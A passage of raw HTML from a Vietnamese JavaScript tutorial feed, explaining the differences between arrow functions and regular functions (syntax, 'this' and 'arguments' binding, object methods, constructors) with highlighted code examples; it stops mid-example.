href="https://www.geeksforgeeks.org/replace-a-dom-element-with-another-dom-element-in-place/">Replace a DOM element with another DOM element in place?</a></li> </ul>[email protected]<![CDATA[Phân biệt arrow function và function trong JavaScript]]><![CDATA[Arrow function là một trong những tính năng mới rất hay của ES6. Việc sử dụng đúng cách arrow function giúp code trở nên ngắn gọn và dễ hiểu hơn. Tuy nhiên, arrow function không…]]>https://completejavascript.com/phan-biet-arrow-function-va-function-trong-javascript/https://completejavascript.com/phan-biet-arrow-function-va-function-trong-javascript/<![CDATA[Câu hỏi JS Cơ bản]]>Mon, 20 Dec 2021 21:11:00 GMT<p><a href="/arrow-function-la-gi-arrow-function-trong-js/">Arrow function</a> là một trong những tính năng mới rất hay của ES6. Việc sử dụng đúng cách arrow function giúp code trở nên ngắn gọn và dễ hiểu hơn. Tuy nhiên, arrow function không thể thay thế hoàn toàn function được.</p> <p>Vì vậy, bài viết này sẽ giúp bạn <strong>phân biệt arrow function và function</strong> trong JavaScript. Qua đó, bạn biết cách sử dụng chúng sao cho phù hợp nhất với từng hoàn cảnh.</p> <h2 id="giống-nhau" style="position:relative;"><a href="#gi%E1%BB%91ng-nhau" aria-label="giống nhau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giống nhau</h2> <p>Arrow function và function đều là <a href="/ham-la-gi-ham-trong-javascript/">function</a>.</p> <h2 id="khác-nhau-cơ-bản" style="position:relative;"><a href="#kh%C3%A1c-nhau-c%C6%A1-b%E1%BA%A3n" aria-label="khác nhau cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khác nhau cơ bản</h2> <h3 id="cú-pháp" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p" aria-label="cú pháp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp</h3> <p>Arrow function sử dụng kí tự <code>=></code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi</span></code></pre></div> <p>Function sử dụng từ khoá <code>function</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi</span></code></pre></div> <h3 id="arrow-function-thường-ngắn-gọn-hơn-function" style="position:relative;"><a href="#arrow-function-th%C6%B0%E1%BB%9Dng-ng%E1%BA%AFn-g%E1%BB%8Dn-h%C6%A1n-function" aria-label="arrow function thường ngắn gọn hơn function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function thường ngắn gọn hơn function</h3> <p>Với hàm có 1 tham số, arrow function có thể bỏ qua cặp dấu ngoặc đơn.</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">// Sử dụng arrow function let greeting = name => { console.log(`Hello, my name is ${name}`); }; greeting("Lam"); // Hello, my name is Lam</code></pre></div> <p>Tương đương với function:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">greeting</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, my name is </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">greeting</span><span class="token punctuation">(</span><span class="token string">"Lam"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, my name is Lam</span></code></pre></div> <p>Ngoài ra, arrow function cũng có thể bỏ qua từ khoá <strong>return</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Sử dụng arrow function</span> <span class="token keyword">let</span> <span class="token function-variable function">double</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> x <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token function">double</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Tương đương với function:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">double</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> x <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">double</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Ví dụ sử dụng arrow function với các <a href="https://eloquentjavascript.net/05_higher_order.html">higher-order functions</a> như: <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a>, map, filter,...</p> <p>► Sử dụng <code>map</code> với function:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> square1 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> e <span class="token operator">*</span> e<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>square1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, 4, 9, 16]</span></code></pre></div> <p>► Sử dụng <code>map</code> với arrow function:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> square2 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> e <span class="token operator">*</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>square2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, 4, 9, 16]</span></code></pre></div> <h3 id="arrow-function-không-bind-this" style="position:relative;"><a href="#arrow-function-kh%C3%B4ng-bind-this" aria-label="arrow function không bind this permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function không bind <code>this</code></h3> <p>Arrow function không định nghĩa giá trị <code>this</code> của riêng nó giống như function.</p> <p>Ví dụ sử dụng function:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">DelayPrint</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> timeout</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">The value is </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>x<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> timeout<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DelayPrint</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The value is 0.</span></code></pre></div> <p>Trong chế độ <strong>none-strict</strong>, function <code>print</code> định nghĩa <code>this</code> chính là đối tượng global (đối với trình duyệt thì đó là <code>window</code>). Do đó, <code>this.x</code> tương đương với <code>window.x</code> và bằng <code>0</code>.</p> <p>Để đoạn code trên hoạt động theo đúng mong muốn thì bạn phải sửa lại như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">DelayPrint</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> timeout</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token keyword">let</span> self <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">The value is </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>self<span class="token punctuation">.</span>x<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> timeout<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DelayPrint</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The value is 1.</span></code></pre></div> <p>Ví dụ sử dụng arrow function:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">DelayPrint</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> timeout</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">The value is </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>x<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> timeout<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DelayPrint</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The value is 1.</span></code></pre></div> <p>Ngược lại với function, arrow function không định nghĩa lại <code>this</code>.</p> <p>Do đó, giá trị của <code>this</code> sẽ ứng với ngữ cảnh gần nhất của nó. Vì vậy, trong đoạn code trên <code>this.x</code> tương ứng với giá trị <code>x</code> được truyền vào và bằng <code>1</code>.</p> <h3 id="arrow-function-không-bind-arguments" style="position:relative;"><a href="#arrow-function-kh%C3%B4ng-bind-arguments" aria-label="arrow function không bind arguments permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function không bind <code>arguments</code></h3> <p>Tương tự như đối với <code>this</code>, arrow function cũng không định nghĩa giá trị <code>arguments</code> của riêng nó.</p> <p><a href="/object-la-gi-object-trong-javascript/#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-arguments">Đối tượng arguments</a> đặc biệt hữu ích đối với những function <strong>không xác định trước số lượng tham số</strong>.</p> <p>Ví dụ hàm tính tổng tất cả giá trị các tham số truyền vào:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">accumulator<span class="token punctuation">,</span> currentValue</span><span class="token punctuation">)</span> <span class="token operator">=></span> accumulator <span class="token operator">+</span> currentValue <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span></code></pre></div> <p>Đối với arrow function, việc sử dụng <code>arguments</code> sẽ lỗi vì biến này không được định nghĩa ở arrow function.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sum</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">accumulator<span class="token punctuation">,</span> currentValue</span><span class="token punctuation">)</span> <span class="token operator">=></span> accumulator <span class="token operator">+</span> currentValue <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: arguments is not defined</span></code></pre></div> <p>Tuy nhiên, bạn vẫn có thể sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a> để thay thế cho <code>arguments</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sum</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>args<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">accumulator<span class="token punctuation">,</span> currentValue</span><span class="token punctuation">)</span> <span class="token operator">=></span> accumulator <span class="token operator">+</span> currentValue <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span></code></pre></div> <h3 id="arrow-function-không-phù-hợp-làm-phương-thức-cho-object" style="position:relative;"><a href="#arrow-function-kh%C3%B4ng-ph%C3%B9-h%E1%BB%A3p-l%C3%A0m-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-cho-object" aria-label="arrow function không phù hợp làm phương thức cho object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function không phù hợp làm phương thức cho object</h3> <p>Chính vì arrow function không định nghĩa giá trị <code>this</code> của riêng nó, nên arrow function <strong>không phù hợp làm phương thức cho object</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function-variable function">b</span><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>a<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function-variable function">c</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>a<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span><span class="token function">b</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// prints undefined, Window {...} (or the global object)</span> obj<span class="token punctuation">.</span><span class="token function">c</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// prints 1, Object {...}</span></code></pre></div> <p>Vì vậy, nếu muốn <strong>định nghĩa phương thức cho object</strong> thì bạn nên sử dụng <strong>function</strong>.</p> <h3 id="arrow-function-không-thể-sử-dụng-làm-hàm-constructor" style="position:relative;"><a href="#arrow-function-kh%C3%B4ng-th%E1%BB%83-s%E1%BB%AD-d%E1%BB%A5ng-l%C3%A0m-h%C3%A0m-constructor" aria-label="arrow function không thể sử dụng làm hàm constructor permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function không thể sử dụng làm hàm constructor</h3> <p>Trước khi ES6 ra đời, bạn có thể sử dụng function làm <a href="/js-pattern-constructor-pattern/">hàm khởi tạo</a> cho object.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Dog</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> color</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>color <span class="token operator">=</span> color<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> myDog <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Dog</span><span class="token punctuation">(</span><span class="token string">"Nick"</span><span class="token punctuation">,</span> <span class="token string">"White"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myDog<span class="token punctuation">.</span>name<span class="token punctuation">,</span> myDog<span class="token punctuation">.</span>color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Nick White</span></code></pre></div> <p>Nếu thay đoạn code trên bằng arrow function, bạn sẽ bị lỗi: <strong>TypeError: Dog is not a constructor</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">Dog</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> color</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>color <span class="token operator">=</span> color<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> myDog <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Dog</span><span class="token punctuation">(</span><span class="token string">"Nick"</span><span class="token punctuation">,</span> <span class="token string">"White"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myDog<span class="token 